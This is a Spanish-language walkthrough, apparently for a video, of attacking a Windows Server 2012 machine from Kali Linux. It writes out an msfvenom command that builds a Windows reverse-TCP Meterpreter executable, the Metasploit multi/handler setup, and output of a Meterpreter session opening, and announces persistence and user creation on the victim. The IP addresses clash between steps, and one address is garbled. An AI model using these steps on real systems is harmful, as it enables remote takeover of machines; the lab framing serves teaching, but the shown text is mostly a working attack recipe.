HOLA EN ESTE VIDEO VAMOS A REALIZAR UN ATAQUE A UN SERVIDOR WINDOWS SERVER 2012, UTILIZAREMOS KALI LINUX COMO MAQUINA DE ATAQUE Y EL WINDOWS SERVER COMO VICTIMA, EL ATAQUE LO VAMOS A REALIZAR CON UN PAYLOAD GENERADO DESDE KALI Y POSTERIORMENTE, VAMOS A EJECUTAR METASPLOIT PARA DEJAR A LA ESCUCHA LA CARGA REALIZADA LLAMADA MEGA-2020.EXE. LUEGO DE REALIZAR EL ATAQUE VAMOS A UTILIZAR VARIOS COMANDOS PARA GENERAR ALGO DE RUIDO EN LA VICTIMA, CREAREMOS UNA CARGA PERSISTENTE PARA QUE LA VICTIMA SE CONECTE A NUESTRO ATACANTE KALI CADA DETERMINADO TIEMPO. TAMBIEN VEREMOS LOS PRIVILEGIOS, CREAREMOS USUARIOS Y OTRAS COSITAS MAS.

PASO-1: CREAR LA CARGA UTIL CON MSFVENOM

root@computaxion:~/Desktop# msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.52.128 LPORT=4444 --platform windows -f exe > /root/Desktop/mega.exe

PASO-2: ACTIVAR LOS SERVICIOS POSTGRESQL Y APACHE2

root@computaxion:~# service postgresql start

root@computaxion:~# service apache2 start

PASO-3: PONER EN MARCHA METASPLOIT

root@computaxion:~# msfconsole

PASO-4: USAR EL HANDLER PARA PONERLO A LA ESCUCHA DEL PAYLOAD CREADO ANTERIORMENTE Y CONFUGURAMOS LOS MISMOS PARAMETROS

msf5 > use multi/handler

Msf5 exploit (multi/handler) > set PAYLOAD windows/meterpreter/reverse\_tcp

PAYLOAD => windows/meterpreter/reverse\_tcp

Msf5 exploit (multi/handler) > set LHOST 192.168.0.128

LHOST => 192.168.0.128

Msf5 exploit (multi/handler) > options

Module options (exploit/multi/handler):

Name Current Setting Required Description

---- --------------- -------- -----------

Payload options (windows/meterpreter/reverse\_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)

LHOST 192.168.0.118 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Wildcard Target

msf5 exploit(multi/handler) > run

[\*] Started reverse TCP handler on 192.168.0.118:4444

[\*] Sending stage (180291 bytes) to 192.168.0.175

[\*] Meterpreter session 1 opened (192.168.0.11684444 -> 192.168.0.175:49294) at 2019-11-28 23:36:13 -0300

Le enviamos el archivo a la víctima y lo ejecutamos